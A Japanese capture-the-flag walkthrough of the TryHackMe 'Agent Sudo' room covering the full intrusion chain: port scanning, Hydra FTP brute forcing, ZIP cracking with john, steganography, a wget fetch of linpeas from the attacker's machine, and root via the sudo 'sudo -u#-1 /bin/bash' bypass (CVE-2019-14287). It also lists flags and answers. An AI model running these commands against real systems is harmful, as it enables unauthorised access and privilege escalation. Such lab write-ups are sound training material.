概要
TryHackMe「Agent Sudo」のWalkthroughです。
Task2
Q1.How many open ports?
Hint.nmap
nmap
でポートスキャンを実行します。
$ nmap -Pn -sC -A -T4 -sV 10.10.145.26
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-05 05:32 EDT
Warning: 10.10.145.26 giving up on port because retransmission cap hit (6).
Nmap scan report for 10.10.145.26
Host is up (0.27s latency).
Not shown: 983 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 ef:1f:5d:04:d4:77:95:06:60:72:ec:f0:58:f2:cc:07 (RSA)
| 256 5e:02:d1:9a:c4:e7:43:06:62:c1:9e:25:84:8a:e7:ea (ECDSA)
|_ 256 2d:00:5c:b9:fd:a8:c8:d8:80:e3:92:4f:8b:4f:18:e2 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Annoucement
1055/tcp filtered ansyslmd
1107/tcp filtered isoipsigport-2
1145/tcp filtered x9-icue
1812/tcp filtered radius
2909/tcp filtered funk-dialout
3007/tcp filtered lotusmtap
3869/tcp filtered ovsam-mgmt
4998/tcp filtered maybe-veritas
5269/tcp filtered xmpp-server
5922/tcp filtered unknown
9290/tcp filtered unknown
10617/tcp filtered unknown
27356/tcp filtered unknown
33899/tcp filtered unknown
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 53.92 seconds
ftp:21
,ssh:22
,http:80
番ポートがオープンになっていることが分かりました。
A.3
Q2.How you redirect yourself to a secret page?
Hint.Answer format: xxxx-xxxxx
ウェブページにアクセスします。
文面からUser-Agent
ヘッダーが関係していそうだと推測しました。
A.user-agent
Q3.What is the agent name?
Hint.You might face problem on using Firefox. Try 'user agent switcher' plugin with user agent: C
ヒントを参考にUser-Agent
をC
に変更してリクエストを送信すると、Locationレスポスヘッダー
に興味深いパスを見つけました。
当パスにアクセスするとユーザーエージェントの名前を特定できました。
A.chris
Task3
Q1.FTP password
Hint.Hail hydra!
Task2,Q3の文面からchris
のパスワードが脆弱だと分かりました。
Hydra
でFTPのパスワードを特定します。
$ hydra -f -l chris -P /usr/share/wordlists/rockyou.txt 10.10.145.26 ftp -t 30
パスワードを特定できました。
[21][ftp] host: 10.10.145.26 login: chris password: crystal
A.crystal
Q2.Zip file password
Hint.Mr.John
特定したクレデンシャル情報でFTPにアクセスします。
$ ftp 10.10.145.26
Connected to 10.10.145.26.
220 (vsFTPd 3.0.3)
Name (10.10.145.26:kali): chris
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
カレントディレクトリには3つのファイルがあります。
ftp> ls
229 Entering Extended Passive Mode (|||14248|)
150 Here comes the directory listing.
-rw-r--r-- 1 0 0 217 Oct 29 2019 To_agentJ.txt
-rw-r--r-- 1 0 0 33143 Oct 29 2019 cute-alien.jpg
-rw-r--r-- 1 0 0 34842 Oct 29 2019 cutie.png
226 Directory send OK.
とりあえずすべてダウンロードします。
ftp> mget *
テキストファイルにはchris
がJ
あてに送ったメッセージが記載されています。
画像ファイルが怪しいみたいです。
Dear agent J,
All these alien like photos are fake! Agent R stored the real picture inside your directory. Your login password is somehow stored in the fake picture. It shouldn't be a problem for you.
From,
Agent C
他にエイリアンの画像を二つダウンロードしました。
exiftool
で画像のメタデータを読み取るとcutie.png
に[minor] Trailer data after PNG IEND chunk
の表示がありました。
PNGファイルの終了位置を表すIEND
チャンクの後ろに別のデータがありそうです。
$ exiftool cutie.png
ExifTool Version Number : 12.70
File Name : cutie.png
Directory : .
File Size : 35 kB
File Modification Date/Time : 2019:10:29 08:33:51-04:00
File Access Date/Time : 2024:06:05 06:22:12-04:00
File Inode Change Date/Time : 2024:06:05 06:22:12-04:00
File Permissions : -rw-r--r--
File Type : PNG
File Type Extension : png
MIME Type : image/png
Image Width : 528
Image Height : 528
Bit Depth : 8
Color Type : Palette
Compression : Deflate/Inflate
Filter : Adaptive
Interlace : Noninterlaced
Palette : (Binary data 762 bytes, use -b option to extract)
Transparency : (Binary data 42 bytes, use -b option to extract)
Warning : [minor] Trailer data after PNG IEND chunk
Image Size : 528x528
Megapixels : 0.279
hexeeditor
で確認します。
$ hexeditor cutie.png
マジックナンバーがPK
および、50 4B 03 04
になっているので、ZIPファイルであると推測できます。
その中にはTo_agentR.txt
というファイルがあります。
50 4B 03 04
からのバイナリを別ファイルで保存します。
この時、ファイル拡張子はzip
にします。
ghex
で編集を行います。
取り出したZIPファイルのパスワードを解読します。
まずはzip2john
でハッシュ値を取得します。
$ zip2john cutie.zip > cutie_zip_hash.txt
$ cat cutie_zip_hash.txt
cutie.zip/To_agentR.txt:$zip2$*0*1*0*4673cae714579045*67aa*4e*61c4cf3af94e649f827e5964ce575c5f7a239c48fb992c8ea8cbffe51d03755e0ca861a5a3dcbabfa618784b85075f0ef476c6da8261805bd0a4309db38835ad32613e3dc5d7e87c0f91c0b5e64e*4969f382486cb6767ae6*$/zip2$:To_agentR.txt:cutie.zip:cutie.zip
john the ripper
でハッシュ値を解析します。
$ john cutie_zip_hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (ZIP, WinZip [PBKDF2-SHA1 256/256 AVX2 8x])
Cost 1 (HMAC size) is 78 for all loaded hashes
Will run 2 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
alien (cutie.zip/To_agentR.txt)
1g 0:00:00:01 DONE 2/3 (2024-06-05 07:30) 0.9523g/s 56892p/s 56892c/s 56892C/s 123456..Peter
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
無事ZIPファイルのパスワードを特定することができました。
A.alien
Q3.steg password
zipファイルをunzip
コマンドで解凍しようとしてもバージョン関係で出来なかったので7zip
で対応しました。
$ 7z x cutie.zip
7-Zip 23.01 (x64) : Copyright (c) 1999-2023 Igor Pavlov : 2023-06-20
64-bit locale=en_US.UTF-8 Threads:2 OPEN_MAX:1024
Scanning the drive for archives:
1 file, 280 bytes (1 KiB)
Extracting archive: cutie.zip
--
Path = cutie.zip
Type = zip
Physical Size = 280
Enter password (will not be echoed):
Everything is Ok
Size: 86
Compressed: 280
中のTo_agentR.txt
を見てみます。
Agent C,
We need to send the picture to 'QXJlYTUx' as soon as possible!
By,
Agent R
QXJlYTUx
という場所へ写真を送信する必要があるそうです。
この文字列が何を意味するのかcyberchef
で調べます。
Area51
をBase64でエンコードしてあったみたいですね。
A.Area51
Q4.Who is the other agent (in full name)?
Password: Area51
を使用して、steghide
でcute-alien.jpg
に隠されたものを抽出します。
$ steghide extract -sf cute-alien.jpg
Enter passphrase:
wrote extracted data to "message.txt".
message.txt
を抽出できたので中身を見てみます。
$ cat message.txt
Hi james,
Glad you find this message. Your login password is hackerrules!
Don't ask me why the password look cheesy, ask agent R who set this password for you.
Your buddy,
chris
エージェントJ
のフルネームはjames
だと分かりました。
そして
A.james
Q5.SSH password
message.txt
からjames
のパスワードがhackerrules!
だと分かりました。
A.hackerrules!
Task4
Q1.What is the user flag?
user_flag.txt
を表示してフラグゲットです。
$ ls -l
total 48
-rw-r--r-- 1 james james 42189 Jun 19 2019 Alien_autospy.jpg
-rw-r--r-- 1 james james 33 Oct 29 2019 user_flag.txt
james@agent-sudo:~$ cat user_flag.txt
b03d975e8c92a7c04146cfa7a5a313c7
A.b03d975e8c92a7c04146cfa7a5a313c7
Q2.What is the incident of the photo called?
Hint.Reverse image and Foxnews.
scp
コマンドで画像ファイルをダウンロードします。
$ scp james@10.10.145.26:/home/james/Alien_autospy.jpg ./
james@10.10.145.26's password:
Alien_autospy.jpg 100% 41KB 41.2KB/s 00:01
エイリアンらしき画像ファイルを得られました。
Googleで画像検索をするとロズウェル事件
の画像だと分かりました。
ヒントにあるFoxnewsで記事が見つかりました。
A.Roswell alien autopsy
Task5
Q1.CVE number for the escalation(Format: CVE-xxxx-xxxx)
kali側でHTTPサーバーを起動し、linpeas.sh
をターゲットサーバーへインストールします。
$ cd /usr/share/peass/linpeas
$ python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
james@agent-sudo:~$ wget http://10.6.55.144/linpeas.sh
--2024-06-05 13:25:50-- http://10.6.55.144/linpeas.sh
Connecting to 10.6.55.144:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 862779 (843K) [text/x-sh]
Saving to: ‘linpeas.sh’
linpeas.sh 100%[==============================================>] 842.56K 440KB/s in 1.9s
2024-06-05 13:25:53 (440 KB/s) - ‘linpeas.sh’ saved [862779/862779]
ターゲットサーバーでlinpeas.sh
を実行します。
$ sh linpeas.sh
sudo
のバージョンがわかりました。
╔══════════╣ Sudo version
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-version
Sudo version 1.8.21p2
Exploit DBでCVE情報がヒットしました。
A.CVE-2019-14287
Q2.What is the root flag?
エクスプロイトコマンドを実行してroot権限を取得出来ました。
james@agent-sudo:~$ sudo -u#-1 /bin/bash
root@agent-sudo:~# whoami
root
/root/root.txt
にフラグがあります。
To Mr.hacker,
Congratulation on rooting this box. This box was designed for TryHackMe. Tips, always update your machine.
Your flag is
b53a02f55b57d4439e3341834d70c062
By,
DesKel a.k.a Agent R
A.b53a02f55b57d4439e3341834d70c062
Q3.(Bonus) Who is Agent R?
A.DesKel